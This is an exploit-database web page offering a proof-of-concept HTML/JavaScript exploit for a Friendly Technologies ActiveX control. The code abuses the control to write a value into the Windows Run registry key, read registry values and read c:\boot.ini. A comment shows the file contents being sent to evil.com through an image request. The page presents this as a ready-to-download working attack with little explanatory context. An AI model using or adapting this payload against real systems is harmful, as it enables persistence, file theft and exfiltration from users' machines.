r00tsecurity -> Exploit & Advisory Center :: Friendly Technologies Read/Write Registry/Read Files Exploit

LOGGED IN AS Viz0n [ Profile | Myr00t | Logout ]

Resource Database Index -> Exploits & Advisories -> Friendly Technologies Read/Write Registry/Read Files Exploit

Description // Info

<!-- 
Proof of Concept...
Read write to registry
and also read files

More codes at irc.nix.co.il/#binaryvision !
-->

Exploit // Proof of Concept

<html>
<title>Friendly Technologies - Read/Write Registry</title>
<object classid=\"clsid:F4A06697-C0E7-4BB6-8C3B-E01016A4408B\" id=\'FT\'></object>

<script language=\'Javascript\'>
// Write to Registry
FT.RegistryValue (1, \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\", \"Key Name Here\", 1) = \"Input Here\";

// Read from Registry
var readreg = FT.RegistryValue (1, \"SOFTWARE\\\\Friendly Technologies\\\\FriendlyWeb Dialer\", \"Version\", 1);
alert(readreg);

// Read from file
var readme=FT.GetTextFile(\"c:\\\\boot.ini\");
alert(readme); // <img src=\"http://evil.com/postfiles.php?input=\"+readme ...
</script>

Comments

You must be logged in to post comments.

Exploit Information

Type:
Remote - Application/Service

Vendor:

Product:

Versions Effected:

Submitted:
2008-09-02 - 18:50:18

Author:

E-Mail
Website

Greetz:

[ Download | Report Issue ]

Exploit Search

Search by Type
+ Remote
+ Local
+ Application/Service
+ Web Application
+ Kernel
+ Operating System
+ Bug
+ Overflow
+ Shellcode
+ DOS
+ Advisory

Advanced Search